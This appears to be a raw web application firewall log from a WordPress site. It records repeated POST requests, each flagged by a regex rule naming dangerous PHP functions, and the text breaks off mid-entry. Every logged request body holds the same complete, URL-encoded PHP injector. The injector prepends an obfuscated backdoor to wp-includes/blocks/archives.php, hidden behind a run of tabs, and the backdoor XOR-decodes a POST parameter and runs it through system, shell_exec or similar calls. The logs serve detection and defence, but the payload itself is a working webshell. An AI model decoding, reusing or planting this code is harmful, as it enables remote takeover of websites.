0=71\n\nfs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:46","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5308\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nHO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:49","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nLR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:51","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520